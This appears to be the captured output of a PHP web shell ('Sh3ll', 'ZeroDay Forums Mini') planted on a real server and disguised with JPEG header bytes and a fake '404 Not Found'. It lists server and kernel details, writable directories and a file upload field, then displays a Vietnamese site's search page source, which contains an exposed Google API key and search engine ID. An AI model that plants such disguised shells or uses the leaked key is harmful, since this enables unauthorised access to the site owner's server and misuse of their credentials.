ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/search/index.php
<?php
$apiKey = "AIzaSyDoqbBf_7Fs1qNYVtyp5MtBNsRRdhWTpvA"; // Thay thế bằng API key của bạn
$cseId = "7053e3af78cdc462c"; // Thay thế bằng CSE ID của bạn
$output = ""; // Khởi tạo biến output
if (isset($_GET['q'])) {
    $query = urlencode($_GET['q']);
    $url = "https://www.googleapis.com/customsearch/v1?key={$apiKey}&cx={$cseId}&q={$query}";

    $response = file_get_contents($url);
    $data = json_decode($response, true);

    if (isset($data['items'])) {
        //$output .= "<h1>Kết quả tìm kiếm cho: " . htmlspecialchars($_GET['q']) . "</h1>";
        foreach ($data['items'] as $item) {
            $output .= '<div class="accordion-item">
                                    <h2 class="accordion-header" >
                                        <a class="accordion-button" href="'.htmlspecialchars($item['link']).'" target="_blank">'.htmlspecialchars($item['title']).'</a>
                                        </a>
                                    </h2>
                                    <div class="accordion-collapse collapse show">
                                        <div class="accordion-body">
                                            '.htmlspecialchars($item['snippet']).'
                                            <p class="text-right"><a href="'.htmlspecialchars($item['link']).'" class="btn btn-sm btn-info">Chi tiết</a></p>
                                        </div>
                                    </div>
                                </div>';

        }
    } else {
        $output .= "<p>Không tìm thấy kết quả.</p>";
    }
} else {
    $output .= "<p>Vui lòng nhập từ khóa tìm kiếm.</p>";
}
$CORE->title_page = 'Kết quả tìm kiếm cho '.htmlspecialchars($_GET['q']);
include 'layout/'.$INFO['path_skin'].'/header.php';
include 'layout/'.$INFO['path_skin'].'/menu.php';
?>
<div class="ab-tabs pt-100 pb-120">
    <div class="container">
        <div class="row justify-content-center">
            <div class="col-xxl-10">
                <div class="section_title_wrapper text-center mb-50 wow fadeInUp" data-wow-delay="0.3s" style="visibility: visible; animation-delay: 0.3s; animation-name: fadeInUp;">
                    <h2 class="section-title">
                        Kết quả tìm kiếm cho "<?php echo htmlspecialchars($_GET['q']);?>"
                    </h2>
                </div>
            </div>
        </div>
        <div class="row ">
            <div class="col-xxl-12 col-xl-12 col-lg-12 col-md-12 wow fadeInUp" data-wow-delay="0.3s" style="visibility: visible; animation-delay: 0.3s; animation-name: fadeInUp;">

                <div class="tab-content mb-30" >
                    <div class="tab-pane fade show active">
                        <div class="faq-content faq-white">
                            <div class="accordion">
                                <?php echo $output;?>
                            </div>
                        </div>
                    </div>
                </div>

            </div>

        </div>
    </div>
</div>
<?php
include 'layout/'.$INFO['path_skin'].'/footer.php';
?>

ZeroDay Forums Mini